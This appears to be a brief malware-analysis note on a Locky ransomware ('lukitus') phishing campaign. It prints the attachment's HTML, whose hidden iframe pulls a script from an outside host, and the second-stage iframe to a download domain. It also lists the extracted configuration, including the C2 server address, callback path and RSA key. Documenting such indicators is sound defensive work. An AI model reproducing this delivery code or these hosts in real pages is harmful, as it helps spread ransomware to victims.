Locky Sep 8

html attachment:

<div style="background:#eee;border:1px solid #ccc;padding:5px 10px;">Your file is downloading. Please wait...</div>
<iframe src="http://rp.holdtime.ru/w/sc5x.php" style="display: none;">
</iframe>

downloaded sc5x.php:

<iframe width="100%" height="100%" src="http://righparningusetal.net/load.php"></iframe>

lukitus
affilID: 3
Seed: 55882
Delay: 20
Persist Svchost: 0
Persist Registry: 0
Ignore Russian Machines: 1
CallbackPath: /imageload.cgi
C2Servers: 185.67.2.156
RsaKeyID: 1626
RsaKeySizeBytes: 114
Key Alg: A400
Key: RSA1
Key Bits: 2048
Key Exponent: 10001
Key Bytes:
        33 67 62 B5 BE E1 E0 3B
        00 EC 51 3E 7D BD D1 75
        8F D7 E3 AF E9 A7 9B DF
        B6 A4 7D C8 5F 10 08 EE
        6E 6B D4 56 CA 6F DC B2
        F8 AC 9B E2 91 D2 D4 82
        4B C9 A0 03 6E 36 17 BF
        D4 71 61 78 BB 4F 37 89
        CD AB 83 47 1C 89 BC 04
        48 FE 1F 4A F5 E2 25 96
        B7 D3 2F 2E 6F 8D FF FB
        8A 6C 36 59 1C 9D 8A 55
        A2 8A 69 4A A0 C9 58 EA
        EC 7A 03 C7 30 59 38 BC
        D2 A7 92 FD 1D 0A 5E D2
        BF 55 6F 11 05 1C E4 AD
        45 F1 BD 4D D6 61 4F 87
        FF 88 B5 B9 56 C4 19 70
        62 A3 C9 EC A4 75 51 ED
        6B 74 D1 95 C0 2D 7F 7F
        BC EF A5 5C E4 BE 9A 62
        95 F9 33 63 DE 75 12 39
        AE 6C A0 8B 96 EF 29 15
        36 50 91 8E 4C D8 4B FC
        D9 04 38 8A AC D4 62 76
        C2 2D 49 A8 A1 C5 2E 23
        FF 90 A6 41 8A 83 06 54
        11 84 E1 26 96 3F D4 27
        CF 3B AB EA 0B 61 D7 5C
        D4 EA A8 27 B5 06 AF 9C
        D0 CF C7 B9 1B B3 13 0A
        18 75 53 76 19 60 DA AF